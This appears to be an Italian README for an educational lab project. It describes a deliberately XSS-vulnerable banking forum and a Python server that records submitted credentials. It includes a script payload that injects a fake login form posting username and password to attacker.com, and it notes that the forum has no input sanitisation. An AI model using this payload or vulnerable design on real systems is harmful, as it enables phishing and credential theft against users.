Questo progetto dimostra due vulnerabilità comuni nello sviluppo web:
- Cross-Site Scripting (XSS): Un attacco che permette l'esecuzione di codice JavaScript malevolo nel contesto di un'applicazione web
- Sniffing di credenziali: Un attacco che intercetta e registra dati sensibili inviati tramite form
Il progetto simula un forum bancario vulnerabile a XSS, con un server aggiuntivo che cattura le credenziali inviate tramite un form compromesso.
-
Servizio Web (Apache/PHP)
- Forum bancario vulnerabile a XSS
- Connessione a database MySQL
- Nessuna sanificazione degli input/output
-
Database MySQL
- Contiene una tabella
comments
per memorizzare i post del forum
- Contiene una tabella
-
Server di Sniffing (Python)
- In ascolto sulla porta 5000
- Cattura e registra le credenziali inviate via POST
- Carlo Da Roma
- Piolo Llanos
- Posizione: Input del commento e visualizzazione nel forum
- Esempio di payload:
<script>alert('XSS Attack!')</script>
<script> document.write('<form action="http://attacker.com/steal" method="post">' + '<input type="text" name="username" placeholder="Username">' + '<input type="password" name="password" placeholder="Password">' + '<input type="submit" value="Submit"></form>'); </script>
- Il server Python (
app.py
) registra tutte le coppie username/password inviate via POST - I dati vengono salvati in
sniffed.txt
- Per non far riuscire il pop up ad utenti che hanno già eseguito il login abbiamo deciso di salvare delle variabili interne al browser.
-
Prerequisiti:
- Docker e Docker Compose installati
-
Avvio dei servizi:
docker-compose up --build docker-compose ps
-
Accesso all'applicazione:
- Forum bancario: http://localhost
- Server di sniffing: http://localhost:5000 (solo per invio dati)
-
Ripristino:
sudo docker-compose down -v
last update 20/06/2025